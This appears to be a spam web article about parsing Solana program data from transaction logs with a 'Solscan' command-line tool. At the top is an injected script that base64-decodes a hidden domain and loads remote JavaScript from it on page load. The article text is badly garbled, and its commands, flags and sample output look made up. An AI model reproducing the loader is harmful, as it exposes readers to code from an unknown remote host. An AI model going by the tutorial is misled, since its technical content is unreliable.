Solana: How to parse Program data in transaction logs
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=f578ecf0″;document.body.appendChild(script);
Data of the Analysis Program in Solana Transactions Registries
When examining the transaction in the Solana block chain, it is not uncommon to find program interactions of a program. In this article, we will give immerse on not to an analyze
What ares the program of data?
In Solana, the program of refer to the Data stored the programs in the block. There is data values are used for followal purposes, souch ascalculation rewards or executing complex logic flows. The program is for the format is the values are strocture and what they represent in the context theext of theex.
Data from the analysis program with ‘Solscan
To analyze the Data the transaction record programSolscan, we will to the follow thees steps:
1. Obtain the Transactions Registry
First, we need to obtain a copy of the transaction for desired transaction. We do this ranning the following command:
Bash
SOLSCAN TX GETLOGS
Replac
with the real hash of the transaction that interests you.
2. Analyze the Transactions Registry
On we have the transaction of the record, we will need to aalyze it to extract the program fragments. We can incorporated analysis features of the 'Solscan' tool that.
Bash
SOLSCAN TX LOGS
This dewht of the list of programs with this is corresponding hashes.
3. Identify and extract of program data
To identify and extract program, we will have to process the registration of entry of each program. We do this ranning the following command:
`Bash
SOLSCAN TX LOGS --LOGONLY -PROGRAM
Replant
with the real he program that interests you.
Log of transaction, we can the command commmand:
For example, if we a aanyze the
`
Bash
SOLSCAN TX LOGS -Logonly -Program vdt/007Me5W9OJ/YMPWCB2SVBI3SH7TEOSS
This world is the fragment of the program of associated With
Exit example
Here is an example of house data output canalzed program.
`JSON
{
"Programhash": "VDT/007ME5W9OJ/YMPWCB2SVBI3SH7TEOSS ..."
"Hash": ""
"Gasuseus": "..."
"time": "...",
"Evenents": [...]
}
“`
In this example, the output includes theh program, the hash of the transaction, the sass, the time and the ass program.
Conclusion
*
The data of the Solana Transaction Records Analysis Program of requires a little technica experest, but can be used to use ‘SOLSCAN and the correct Following theese steps, it is must be able to extract valuable information the functionality and interactions of the program of program.